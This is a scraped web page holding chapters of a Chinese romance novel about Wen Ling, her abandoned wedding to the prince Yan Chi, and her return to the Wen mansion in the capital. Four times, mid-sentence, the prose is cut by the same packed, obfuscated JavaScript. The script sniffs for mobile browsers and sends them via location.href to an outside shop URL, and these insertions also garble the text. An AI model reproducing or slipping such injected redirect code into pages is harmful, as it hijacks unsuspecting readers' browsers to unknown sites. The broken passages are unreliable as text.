这就样寒暄一番,她便拉着燕迟走了。 燕迟这几日还是住在以前的屋子里,只不过将被褥都让手下换成了更好的,连带着将温泠那处也换了。温泠摸着不知道用什么做成的被子,手感确实比芦花被不知好上多少,这两年真是难为他屈尊降贵住在这里。 她默默将被子收起来,换回之前她平常盖的那床。 自从他彻底不在她面前隐瞒身份后,他的那些属下也没有避着她,守在她院子附近。有一次她在树下晒东西,突然从上面掉来一个人,幸好她离得远没有被砸到。 就当她以为是刺客准备掏出匕首时,那人连忙捂住嘴不让她出声。 “嘘,别把照大哥引过来了,让他发现我值守时打瞌睡还从树上摔下来,告到主子那里我肯定要挨罚的。” 照大哥?温泠好像记得经常出现在燕迟身旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450483|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那个就叫照墨。 既然是燕迟的人,那就和她没关系了。她点头,示意自己不会出声。 她打量着对方,年纪不算大,看上去和阿怀差不多。 “你叫什么?” “在下排名第七,名曰暗七。” 他还特意朝她抱拳行礼,语气中满是自豪之意。 “……”温泠突然能猜到其他人叫什么了,“没有其他名字吗?” “跟着主子之前,我们都是无名无姓的孤儿,自然没有其他名字。” 温泠本还想再问些什么,余光看见燕迟从屋内出来,便没开口询问。 “暗七,自己去照墨那里领罚。” “是……”暗七临走时偷偷对着温泠做着哭脸,没被照墨发现,反倒被主上亲自抓包了,他怎么每次都这么倒霉。 “你在想什么?” 温泠倏地回过神,不知道什么时候燕迟进来了。 “没什么。” 燕迟见她不愿和他说话,心中也没气恼,因为更让他在意的另有其他。 “泠娘,可否告诉我这是何物?” 温泠抬眼看去,瞬间就变了神色,伸手要从他手中拿回来:“还给我!” “这是叶临舟送你的?”燕迟没想明白,为什么一个已经枯萎的花环令她如此在意。 “与你无关。” 温泠明明是用极其厌恶的眼神看着他,可他却觉得有一丝悲哀,更像是透过他看着旁人。 燕迟一把将花环摔在地上,待她扑上前去捡时,又无情地把它踩在脚底下,用脚狠狠地碾着,直到本就脆弱不堪的花环彻底被破坏得不成样子。 他垂眸睥睨着跪在地上的她,沉默片刻,俯下身抬起她的下巴,用着理所当然的语气说道:“既然答应与我成婚,就收起那些不该有的心思,听懂了吗?嗯?” “滚。” 温泠一字一句咒骂道:“你这种人根本就不值得被爱。” 这些话燕迟小时不知道听过多少,可偏偏从她嘴里说出来最是扎心,硬生生地往他心窝子里戳,。 “有你爱我就够了。” 燕迟捏着她的下巴,眼神在她的嘴唇处徘徊。她没有抹口脂,为什么还这么红润,这么诱人? 他本想用手指擦拭一下,确认她真的是不是没有涂抹什么东西。没想到,温泠咬住了他。 温泠趁机咬住他,以为他会吃痛松手放开他,然而他却用一种奇怪的眼神盯着她,看得她全身发瘆,立刻松了口,不敢再咬他。 好在这件事就这么过去,夜深之后燕迟就从她的屋内离开了。 照墨在屋外等了许久,一听见动静,便立即迎了上去。 “主子,晋王那边有动作。” 燕迟摸着刚才被她咬的那处,心中还在反复回味。 “主子?” “你说,我听着。” “今日朝中有大臣提议让婉宁公主去和亲,以谋取边境和平。而这些大臣,大多数是晋王一派。皇后自是不同意,连传了好几封密信催促主子赶快回去……” 又是晋王,这次居然还把主意打到自己皇妹身上,也罢,等他回去之后,谅他也得意不久。 12. 燃尽 天蒙蒙亮,温泠就被喜婆喊起来梳妆。两人都没有成婚的经验,燕迟遂在镇上找了个最有名的喜婆帮忙。 “娘子,今日可是大喜的日子,来笑一笑!”喜婆这还是第一次见人成婚冷着脸,哪里是拜堂的,分明像是去杀人。 温泠抬眸看着镜中的自己,恍惚一下,小时候她曾幻想过自己未来的郎君会是个什么样子,却怎么也没想到会是如今这副情状。 娘,她这样做对吗?可她不得不这么做。她轻抚上自己的脸,勉强扯出一丝笑意。 “娘子手艺真巧,这盖头绣得可真精致。” 喜婆拿起一旁的盖头对这她夸了又夸,一般的小娘子听到这句话都会露出娇羞的样子,但这位…… “这不是我绣的,镇上最东边那条街尽头处买来的。” “哈……哈,娘子眼光真好,这样式的盖头一半人还买不到!。” “是吗?这是我随便拿的。” 喜婆尬笑,不知该如何作答,心想幸好没有旁人在场,不然自己这招牌可就砸了。 这对新人可真是奇怪。好好的大喜之日除了新娘新郎之外竟无他人,连这新娘子都看起来很是古怪。 “盖上吧。” 温泠见差不多了,直接让喜婆帮她盖上盖头。 可惜今日天气不大好,她刚走出屋子,便感觉到一阵凉意。她伸出手,有雨滴在她手心上。 下雨了啊。 她刚要收回手,下一瞬,手就被人紧紧抓住。那人力气极大,她整个身子都朝他歪去。 “泠娘,我来了。” 燕迟摩挲着她的手,缓缓在上面烙下一吻。温泠想将手从他手中扯回来,却被他更用力地攥着。 他牵着她的手来到正屋,里面摆着李氏夫妇的灵位。 眼见吉时已到,喜婆清了清嗓子,大声念道:“一拜天地。” 两人转身,对着皇天后土拜下。 “二拜高堂。” “夫妻对拜。” 这时,温泠却停下了,直直站在原地。燕迟似早有料到,立即用手压着她将礼行完。 “礼毕——送入洞房!” 在喜婆的高声呼喊中他们行完了礼,燕迟一刻都等不了,索性横抱起温泠,朝洞房走去。 突然间,屋外狂风乍起,风中夹杂着雨星,东一头西一头地乱撞着。巨蟒般的闪电划破天空,瞬间雷声响起。 温泠很不习惯这般被人抱着,加上眼睛被盖头挡住,感觉随时都会摔下去,于是她用力攥紧他胸口的衣襟。 觉察到怀中人的动作,燕迟还以为她被吓到了,轻声安抚:“别怕。” 洞房内,薄纱帐悬挂床上,红蜡高烧。这洞房是他亲手布置,能为她做到这个份上,是多少人求都求不来的。 过了今晚之后,她就完完全全属于他了。 燕迟将她安放在床上,迫不及待想去掀她的盖头。没成想,急促的敲门声打断了他。 “主子,京城那里传来急报。” 拿着喜秤的手一顿,又重新放下。 “泠娘在这里乖乖等我,我一会儿就来。” 临走前,他隔着盖头亲吻了她的额头,庄重而又虔诚。 温泠听见脚步声走远之后,心里憋着的那口气才彻底松出来。一想到今晚要与他做那档子事,她就觉得心慌。 她绞着手,想着该如何应对。 * 燕迟不耐地走出屋子,神色完全不似刚才在温泠面前那般柔情,冷声道:“何事?” 见主子不悦,照墨心里直喊苦,若不是传信人说十万火急,一刻也不能耽搁,再给他十个脑袋也不敢在此时打扰主子的兴致。 “回、回主子,婉宁公主失踪,皇后昏迷不醒,皇上大怒……还请主子速速回京。” “一群废物!” 燕迟一脚将照墨踹倒在地,朝温泠那屋子看了又看,眼眸幽深,薄唇抿成一条直线。最终咬着牙说道:“备马,即刻启程回京。” 屋外的雨越下越急,如同落入玉盘大大小小的豆子般,噼里啪啦地砸下来。 不知道为何,温泠想起以往雷雨天和阿迟相处的时候,可惜以后再也不会有了。 她觉得有些闷,干脆直接将盖头扯了下来,等燕迟回来时再盖上也不迟。 这一等就等到了天黑,喜烛已经燃尽,屋外的雨也停了,可他却还没有回来。 温泠眼皮莫名一跳,涌起不祥的预感。她重新点了一根蜡烛,准备去寻他。 可当她来到屋外时,整个院子里寂静无比,一个人影都没有。她不死心地将每个角落都找了一遍,什么都没有。 什么都没有…… 他又骗了自己。 她本就一日未进食,再加上此时情绪激动,忽地一阵眩晕感袭来,眼前一黑,她便没了意识。 “娘、娘你醒醒,你睁眼看看泠儿,睁眼看看泠儿啊……” “娘、娘!” 温泠从梦中惊醒,又回到了娘亲死去的那一日,那年她才五岁。 她环顾四周,发现自己竟在外面躺了一晚。昨日本就下雨,地上泥泞还未干,大红色的嫁衣早已被弄得不成样子。 索性直接将衣裳脱下来丢着地上,只留下一件中衣,踩着它回了屋子。 她早该想到的,他怎么会和她成亲呢,只不过是一时兴起罢了。她居然还傻傻地以为他真的会带她回京,一切都是她自作多情。 她真傻啊,和她娘一样,都被男人给骗了。 温泠拖着疲惫的身子给自己烧了一桶热水,她眼下需要一个人好好静一静。 她靠在桶边,闭眼盘算着下一步该如何做。难道她非要依靠旁人么? 先是叶临舟,再是燕迟,给她希望却又让它一次次破灭。求人不如求己,她只能靠她自己。 五岁那年,娘亲因病去世。不到一年,她的舅舅,也就是如今温府的家主将她赶了出来送到这里,至此之后,她再也没能回去。 祖父在母亲死后不久也因忧思过度离世,祖母先是丧女又丧夫,受不了打击,中风瘫痪在床。 这么多年过去了,也不知道祖母眼下是何种情况。 不管怎样,她必须回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450484|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 就这般想着,她迷迷糊糊又昏睡过去。再醒来时,水已然凉尽。 温泠转头酸痛的脖子,伸手去拿搁置在一旁的衣物,随后从水中起身。刚一起来,眼前便一阵眩晕,头也昏沉得厉害。 她强撑着意识穿好衣服,扶着墙走到床边。喜蜡红被还是昨晚那副样子,但物是人非。 她已经一天一夜没有进食了,明明很饿,但怎么也吃不下,一看见食物就犯恶心。 摸了摸自己的额头,很烫。要是这时候李怀还在就好了,她想。 温泠就这般靠在床边,双眼无神,呆呆地望着屋顶。如今她的状态实在说不上好,浑身乏力,想去做点什么也不能做。 混沌之间,她好像听见院外有人在喊她的名字。 会是他回来了吗? 全身无力的温泠想起身去院外看看到底发生了何事,可腿一软,她又倒在了地上,彻底失去意识。 “李郎中啊,她没事吧?” “这位娘子生了热症,再加上久未进食,体力不支昏了过去。我先开几副药方,待她醒来后让她服下即可。” “好好好,有劳郎中嘞!” 王大娘等郎中开完药方后送他离去,她回到屋子,担忧地看着躺在床上的温泠,满脸都是心疼:“你这孩子,几天不见怎么把自己弄成这副鬼样子。” 要不是她路过这里,见院子没锁想着顺道来看看她,结果喊了好几声都不见人应答,但她分明听见屋内传来声响。 幸好她进来看了一眼,不然这丫头得被烧成傻子。 等温泠再次睁开眼时便看见王大娘坐在床边,用粗布给她擦着脸。 “大娘?” 她一出声,这喉咙就如同被钝刀搅动一般,沙哑难听。大娘见状连忙给她端来一热杯水,慢慢将她扶起来喝。 大娘用手背贴着她的额头,说道:“等会再吃一副药应该就没事了,丫头你还有哪里不舒服吗?” 热意涌上她的心头,呆愣望着王大娘,最后竟痴痴地笑了起来。 “大娘,我无事,谢谢您。” “你这孩子……”大娘没有多问其他的事,而是将她揽入自己怀中,轻拍着她的后背,“不管怎么样,自己的身体才是最重要的,你饿不饿?俺去给你熬点粥。” 温泠靠在大娘肩上,这温暖的怀抱让她想起了小时候被娘亲抱着的感觉。她眼眶微红,哽咽说道:“好。” 盯着手里装着热水的茶杯,她的意识逐渐回笼,大娘说的对,身体才是最重要的,她得先将病养好了再做打算。 “温丫头,外面有人找!” 她的院子何时变得这么热闹,怎么又有人来找上门?温泠只堪堪披了一件外衣,便出去了。 是两个她未曾见过的人。 “你们是?” “你就是温小姐?我们大人专程派人来接您回京。”其中一个高高瘦瘦的男人回答她,另外一个稍矮的人上前递给她一个令牌。 温泠伸手接过,垂眸看去。待看清楚之后,她脸上立即变了神色,拿着令牌的手也止不住地颤抖。 13. 暮荷 “温丫头,你怎么了?”王大娘见着她的反应有些奇怪,便问了一句。 温泠的手死死攥着令牌,面上扯出一丝歉意:“大娘我没事,只是……” 大娘瞧见她的神色,立即就明白了她未尽之言,忽然拍着脑袋说:“哎呀,俺忘了家里还有事,丫头你没事就行,那俺就先就了啊!” “谢谢大娘。” 温泠目送王大娘离开,思绪还停留在刚才那块令牌在上,真是不枉她等了这么久。 “说吧,温府派你们来找我什么事。” “小姐真是折煞我们了,温大人思念小姐,才特意派我们前来接小姐回家。” 呵,回家,说的倒好听。自从娘亲死后,温府便不再是她的家,她早就没家了。 温泠才不相信她那位舅父会这么好心让她回去,但这时接她回府,算是遂了她回京的愿。 眼下就算是火坑,她也要去闯一闯。温府欠她娘亲的东西,她都会一一夺回来。 “何时回去?” 低下两人听见她没有抗拒之意,不由得感到惊讶,来之前他们还以为这位温小姐会不愿随他们回去。如果她真的不愿,他们就只得动粗将她绑回去。 如今倒是省了一番力气。 “只要小姐您愿意我们立刻就可以出发。”说着,他还特意给她指了指门外的马车。 “那你们明日清晨再来寻我。” “这……” “怎么,怕我跑了不成?连让我收拾包袱都不行吗,我舅父就是这样嘱咐你们来接我回去的?” “小姐您说笑呢,小的们不敢。”那矮个子似乎还想再说点什么,另一人立即捂住他的嘴,拉着他离开了。 温泠看着两人远去的身影,面露冷色,缓缓吐出两字:“蠢货。” 她闭眼长舒一口气,纤长的指尖揉捏着疲惫的眉心,心想还是先吃些东西填填肚子吧。 没想到,才短短不过两日,在她这个院子里就发生了这么多事,真是祸福皆至啊。 到了夜间,她跪在李氏夫妇的灵位前为他们上香,下一次回来也不知道是什么时候了。 还有李怀,也不知道能不能在京城和他相遇。 “温氏阿泠,这些年来承蒙阿爹阿娘照顾,如今即将离去,不知何时再回来拜见二老。还请保佑儿此趟能够顺利,也希望阿怀平平安安。” 说罢,温泠对着灵位磕了三个头。 收拾包袱时,她在柜中找到了第一次见到燕迟他身上穿的那件衣裳,当时已破的不成样子,后来是她在烛火下一针一线亲手缝好,一直叠放在这里。 温泠拿着手中沉默了好一会,最终还是将它放回原处。她要带的东西不多,除了一些随身的衣物之外,便是几本已被她翻烂的医书。 她独自躺在这空旷的屋子里,再让她仔仔细细瞧这最后一眼,以后就没有人守着这院子了。 闭着眼,她想起来自己刚被送给李氏的那段日子。她小时候性子是真的倔啊,李氏夫妇不管做什么饭菜她都不肯吃一口,也不愿说一句话。 那晚实在是饿极,但李氏夫妇早已睡下,她只能自己摸黑去灶房找点食物。温泠想到这里不由得笑了起来,因为那时李怀竟也没睡,躲在灶房里面说要抓耗子。 那也是她第一次当贼去偷摸东西吃,看见李怀在场她心虚得不行。幸好他沉迷在抓耗子,没空管她。 在后来她就不记得发生了什么,只记得第二日醒来时她还在灶房,而李怀正在一旁挨骂。她还记得他那句:“爹娘真偏心,为什么不骂她?” 这小子,好像也是从这件事之后记恨上了她,动不动就喜欢冲她做鬼脸,净耍些小孩子脾性。在她十岁那年,李氏夫妇因疫病离世,那时候他也才九岁。 下葬那日,他扑在她怀中哭了许久,她从来没见过他哭得这么凶过,让她想起了娘亲去世的那天,她也是如此。 “阿姐,我只剩你一个亲人了。” 温泠那才意识到,原来她还有一个亲人啊。 翌日清晨,温泠打点好院子里的一切,把门屋锁好,背着包袱等候着他们。 “温小姐,上马车吧。”高个子说道。 温泠留恋地朝院子望了一眼,最终带着决绝的眼神上了马车。 就此别过,李家村。 * 从李家村到京城约莫得花上三四天的路程,温泠已经赶了一天一夜的路,中途没有客栈,晚上只能在马车上度过。 她百无聊赖望着马车外,思考着她那个所谓的舅父怎就突然想起了她,按照舅母的性子,更不会让她再回去。 事出反常必有妖。 “高木,近日府上可有事发生?”从二人口中得知,高高瘦瘦的那位叫高木,另一位便叫高石,他们两个是亲兄弟。 本来应该还有位刘婆婆一起来接应她,可惜突发疾病来不了。 “回小姐的话,温府上下并无大事发生。”高木一边驾着马车,一边应声道。 高石扯着他的袖子,往马车内瞟了一些,压低声音说道:“她不就是一个表小姐而已,你对她这么恭敬作甚?” “这你就不懂了吧,做人还是要多行善举,说不定哪日就得机遇了呢?”高木一脸神秘兮兮地说着。 高石还是不理解,他脑子不灵活,听他兄长说的总没错。 温泠隐隐约约能听见外面有交谈声,但总体听得不大清楚。她眯着眼倚靠在车壁上,这几天发生的事情着实让她有些劳累,幸好她身子骨还算不错,能够支撑得住。 突然,马车骤然停住,车声猛地一震,温泠整个身子不受控制地往前倾去,后脑重重地撞在了车厢上。 外面不知谁大喊了一声,语气里满是怒意:“疯女人,不要命了往马车上撞!”说着,一道鞭子声响起,随即发出了女人的惨叫。 “住手!发生何事了?” 温泠拉开车帘,头朝外面探去。撞入眼帘的是一个蓬头垢面的……女人?她全身是伤,衣服也只能勉强遮挡住一半身子,刚才还被人狠狠抽了一鞭子。 即便是这样,她紧紧抱着马腿不肯松手,嘴里不住地念叨着:“求求贵人救我,让我干什么都可以,救我救我……” 从外形上看,她的年岁感觉不算大,约莫也就十三四岁的样子。温泠心生怜悯,急忙从马车上下来,将自己的衣裳披在她身上。 察觉到她浑身瑟瑟发抖,还以为她在害怕自己,温泠便放柔声音:“别怕,我不会伤害你。” 高石见她想要救下这疯女人,不免出声阻拦:“小姐这不妥……” “妥不妥由我说了算,什么时候轮到你们来指指点点了,难道温大人就是这般管教手下的吗?” “当、当然可以,小姐救人乃是行善事,老爷听了高兴都来不及!”高木使劲对着高石使眼色,让他别再说话。 温泠没再多说什么,慢慢将她扶上马车。随后拉上帘子,彻底隔绝了外面的视线。 她仔细检查着她身上的伤口,即使有心理准备可还是忍不住惊呼:“你怎么伤成这样?!” 脸上,身子上全是未消的伤疤,青一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450485|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块紫一块,看起来着实骇人。有的甚至还未结痂,就又被新的伤痕覆盖。 “别动,我给你上药。可能会有些痛,我尽量轻些。” 那人颤抖着手轻轻捏住她衣角的一块,嗓音干涩:“谢、谢……” 温泠拿药的手一顿,转过头来,面带善意说道:“不用谢我,是你救你了自己。” 幸好临走前她还带了一些药在身上,如今正好派上用场,这些都是她自己用采药调和出来的,效果不比药铺里面卖的差。 替她上好药之后,温泠将她的帕子打湿,想帮她擦去脸上的泥巴。可她却不太愿意让她看清她的脸,将头缩在角落里。 “贵人,别看我……丑。” “我不是什么贵人,你叫我温泠便好。我只是想帮你擦擦脸,你若不愿意也没关系。” 那女子再三犹豫之下还是将头转过来对着温泠:“他们都叫我弃儿。” 待温泠帮她擦拭干净之后,才明白了她刚才那句话是什么意思,她的右眼处被一大块的红色胎记覆盖。 她先是瞟了眼温泠的反应,随后立即低垂着头,语气沉闷:“对不起贵人,我、我吓着您了。” 温泠并不觉得有什么,她的手轻抚上那处胎记,说道:“我刚才只是觉得这里很像荷花花瓣,很美。” 被她摸着的那处似乎有烈火灼烧,那女子猛然间抬头,睁大眼睛,睫毛微颤:“真的吗?” 因出生就带着红色胎记,村里的人们都是这是不祥之兆,故叫她“弃儿”。爹娘在生下弟弟后就将她卖给一个屠夫当童养媳,那个屠夫对她很不好,动不动就动手打他。 她实在是受不了了,便趁他醉酒之后逃了出来。她从小就没离开过村子,也不知道该去哪里,只能去大街上乞讨。 所有人看见她脸上的胎记,都会离着她远远的,不敢靠近她,她只好把自己弄得脏兮兮的,让人看不出她本来的相貌。 为了填饱肚子,她挨了很多打,只为了能吃上一口东西。直到今天,她迫不得已地拦下马车,祈求有人能救救她。 她不想再过这般颠沛流离,担惊受怕的日子了。而她眼前这位贵人,是第一个不嫌弃她的人。 “贵人,我求求您让我留在身边,我什么都能干,我什么都愿意干……” 温泠没想到她会突然跪下来求自己,连忙将拦住:“你先起来说话。” “贵人,只有您能救我了……”她还是不肯起身。 “你若不起来,我……”温泠不忍心对她说重话,“你先起来,让我考虑考虑。” 她这才缓缓起身,眼中还含着泪。 温泠用帕子帮她擦去脸上的泪痕,说道:“你真愿意跟着我?” 那姑娘疯狂点着头,生怕她不同意让自己留下来:“我愿意为您当牛做马!” 当牛做马倒不必……温泠她只是有些不忍心看着她这般样子。她思索一番,最终还是答应下来:“那你便留下吧。” “只是……” “只是什么?贵人说什么我都愿意!” 温泠认真说道:“弃儿……这名字寓意不好,我以后唤你暮荷可好?” “暮荷……”她喃喃念道,“谢谢贵人赐名!” 暮荷高兴地差点又要跪下,幸好温泠手快将她拦下。 “你也不必唤我贵人,你比我要小上几岁,以后直接叫我阿姐即可。” 暮荷庆幸自己终于赌对了一回,遇上了像她这般好的贵人。 她在心中暗自发誓,即使以后要付出生命,她也心甘情愿。 14. 温府 有了暮荷的陪伴,剩下的路程便没有像之前那样难捱,终于在几日后的晌午之前,温泠再次回到京城。 拿着温府的令牌,守卫一路放行,他们很快便在温府门前停下。 “表小姐,到了。” 暮荷初次见如此奢华的府邸,稍显胆怯。温泠便拉着她的手,说道:“有我在,别怕。” 这么多年未见,温府府邸愈发气派。两侧皆有两丈多高的青石狮子,面露威色。朱红大门敞开,黑底金色的牌匾上刻着端端正正几个大字: 国公府。 时隔多年,她又回到了这里。 下车之后,立即有婆子迎了上来,虽面带笑意,浑身上下却透露着傲慢:“表小姐往这边走。” 温泠忽地停下脚步,眉头紧锁:“侧门?你既唤我一声表小姐,那我应当从正门进。” 那婆子神色难堪,尬笑一声,说道:“表小姐,这不合规矩……” “我倒是不知道温府什么时候有这个规矩了?”温泠将包袱从她手中抢回来,拉着暮荷朝大门方向走去。 守门的小厮伸手拦住她:“夫人有令,闲杂人等不可走正门。” 她倒是没想到她什么时候竟成闲杂人了,这还真像她那位舅母能干出来的事。 那她今日就偏不如她的意。 “谁在门外叫嚷?还懂不懂规矩!”一位手中拿着帕子的女子叉着腰走了出来,指着鼻子骂着刚才那说话的小厮。 “青禾姐姐,不是小人故意的,这表小姐她……” 他口中的青禾姐姐用帕子捂着口鼻,斜睨着温泠,忽然又拍了一下脑袋,好似才想起什么:“哎哟,瞧我这记性!原来是表小姐,快进来快进来,是下人们疏忽了。老爷还特地吩咐我来接表小姐,不知这位是?” 温泠默不作声躲开了她伸出来的手,抓紧暮荷的手:“她是我的贴身婢女,还请问姐姐是……” 青禾轻笑说道:“我呀,我也只是婢子罢了。不说了不说了,表小姐快随我来,老爷在里面等着小姐呢。” 只是婢子么?温泠心有疑惑,明明周围的人对她很是敬重,从打扮上也不像一位普通的女婢。 还是她离府太久,如今府上的女婢地位都这般高吗? 心中带着困惑,温泠跟上青禾。只不过她并没有带她去见温正清,而是先将她安置在一处偏僻的院子中:“表小姐今日真是不巧,老爷正与贵人商议要事,恐怕要晚些才能来看小姐。此处安静不易被人打扰,是老爷特意安排给小姐的。” 落花苑……还真当她不知道么?此处虽是寂静,但却离溷轩最近,每晚都会有恶臭之味,连寻常的下人都不会来此处。 “麻烦姐姐带我去探梅轩可好?”这是从前她娘亲住的院子,里面种满了娘亲最喜欢的梅花。 “这是何处?据我所知府上并未有院子叫探梅轩。”青禾思索了一会,最终摇头说道。 怎么可能没有?温泠隐隐约约有不好的猜想,她要亲自去寻。 她只好先将青禾支走,等她走远后,温泠对着暮荷说道:“以后私下里你还是唤我阿姐,但若有外人在场唤我小姐即可,以免让他人抓住错处。 还有千万不要相信这府里的任何一个人,时时跟着我即可。” 暮荷虽然不懂,但她还是认真地点点头:“我只相信阿姐。” 温泠唇角轻扬,摸着她的头说道:“走,跟我去一个地方。” 温府的大致布局她尚还有几分记忆,她跟着记忆穿过走廊,绕过后苑,最终找到了那个她无比熟悉的地方。 还未等温泠来得及高兴,“绾春庭”三个字直直撞进她的眼中。她难以置信地走进院中,此处已不是她记忆中的模样,院中成群的梅树消失不见,取而代之的是各式各样的花卉。 温泠下唇被咬出一道牙痕,指尖狠狠掐进掌心,为什么,为什么……他们连娘亲最后一点东西都容不下吗?她抬脚准备往正屋里面去,里面突然传来一声娇蛮的声音。 “我才不要嫁给那个瘸子!就算他是王爷怎么样,还不是废人一个!” 话音刚落,“砰”的一声脆响,像是花瓶被砸到了地上,随后便传来哭闹声。 听到有开门的声响,温泠迅速拉着暮荷往后退了几步,才没有被猛冲出来的人撞到。 温玉玲气急,她想不明白为什么爹爹非要让她给什么劳什子贤王,就算他是战神怎么样,可还不是瘸了腿,她要真是嫁了过去,肯定要被那群贵女嘲笑死。 她本想再去爹爹面前撒撒娇,说不定看她可怜就不忍心把她嫁出去呢?没成想一开门就看见一个穿着寒酸的陌生女人站在门前。 长得倒还有几分姿色。 “你是何人?” 温泠暗中打量着她,她也在看着她。她忽然想起来了,这不是她那个娇气的表妹么?当初她最喜欢跟在她屁股后面玩。 “回小姐的话,婢子听说今日表小姐要进府,眼前这位好像就是……”温玉玲一旁的侍女说道。 听她这么一说,温玉玲还真对她这位表姐有些印象。只是几年不见,她怎变得如此落魄,身上衣裳甚至还比不上她的侍女。 “你为什么会在这里?”没等她问她为何在这里,反倒温泠先问了出来。 “这是我的院子,我不在这里还能在哪里?”她双手抱臂,理直气壮说道,“反而是你,凭什么站在这里?” “这本是我娘的院子。” “那又如何?你娘早就死了,这院子当然就归我。” 温泠什么都可以容忍,唯独不允许她人说娘亲的坏话。她没惯着这位娇滴滴的表妹,反手就给了她一巴掌。 “这一巴掌让你涨涨记性,还请对我娘放尊重一点。” 周围的人都没想到温泠会突然动手,连温玉玲自己都没有反应过来。她捂着被她的那一侧脸颊,瞪大眼睛看着对方,气得连话都说不清楚:“你、你居然敢打我?不愧是从乡下回来的村妇,粗鄙不堪!我要去找爹爹告状,让他把你赶出府!” 她还想打回去,却反手被温泠钳制住手臂,动弹不得。 “眼下你最好关心关心自己的脸吧,这样一张脸顶着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17451106|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个巴掌印可不好看哦。”温泠专挑她的心口戳,她还记得这位表妹最是爱美。 听到她这么一说,温玉玲也顾不上打她,连忙让身旁的侍女拿出镜子。 “啊——我的脸!”惊呼一声,她便被吓得晕了过去。 “小姐!” “小姐!” 院里的小人乱作一团,手忙脚乱地将她抬了进去。 温泠进府的第一天就让府里的下人们都知道:这个表小姐不好惹。 * “娘!就是她打的我,女儿脸如今还火辣辣地疼,要是破相了可如何是好啊呜呜呜。” 薛氏一听自己的宝贝女儿晕倒后连忙赶来看到底发生了什么事。索性并无什么大碍,只是情绪过于激动气血不足导致昏厥。 她轻拍着躲在自己怀中的女儿,顺着她的手往还站在旁边的温泠看去,眼神里满是厌恶。 但又想到另外一件事,立即换了一副神色:“玲儿没事就好,在娘亲心里玲儿一直都是最美的。” “娘,爹爹呢?” “今日三皇子拜访,你爹爹在和三皇子商议正事,许是一会就过来了。” 温泠心底莫名烦躁,不想再待在此处,转身离开。 “小姐,你是不是心情不太好?”暮荷发现她从进府之后就有些不大对劲。 “无事。” 温泠决定先去找温正清。 此时此刻,两人刚谈完事,准备送三皇子离开。正好一位小厮急匆匆地跑上前,向两人行礼:“小人见过三皇子殿下。” “老爷……”他犹豫地看着温正清。 温正清看了一眼对面的燕迟,见他并无异色,才示意他说。 “今、今日表小姐进府,与二小姐起了矛盾,小姐她、她晕倒了过去。” 听完之后,温正清面色难看,对着燕迟说道:“家丑之事,让殿下见笑了。” 燕迟轻笑一声,挑眉道:“无妨,在下倒还不知温大人府上竟如此有趣。既然温大人有事,那在下就不便叨扰,大人也不必送我,还是先去看看二小姐为好。” 说罢,便抬脚离去。 “多谢殿下,殿下慢走。”温正清没想到刚把她接回府中就惹了事,真是和她娘一样的祸害。 燕迟今日心情颇好,那温老头的嘴硬得很,他费了好些气力才从他嘴里撬出些有用的东西。 “照墨,晋王那边再盯紧些。” 他这几日为了对付他这位皇兄,忙得可真是团团转。好在自己将那份账本及时递了上去,皇帝一怒之下将他禁足,连派皇妹和亲一事也暂时搁下。 一想到他那位皇妹,他就忍不住头痛。居然为了不去和亲偷偷跑出京城,幸好他及时将人带了回来,才没出什么大事。 燕迟这般想着,忽地脚步一顿,停了下来,眼睛直直望着前方。 他刚才好像看见了温泠。 “照墨,你可看见刚才有人从前面走过?” 照墨回答:“并无,属下未曾看见过任何人。” 燕迟迟疑一番,追上前去。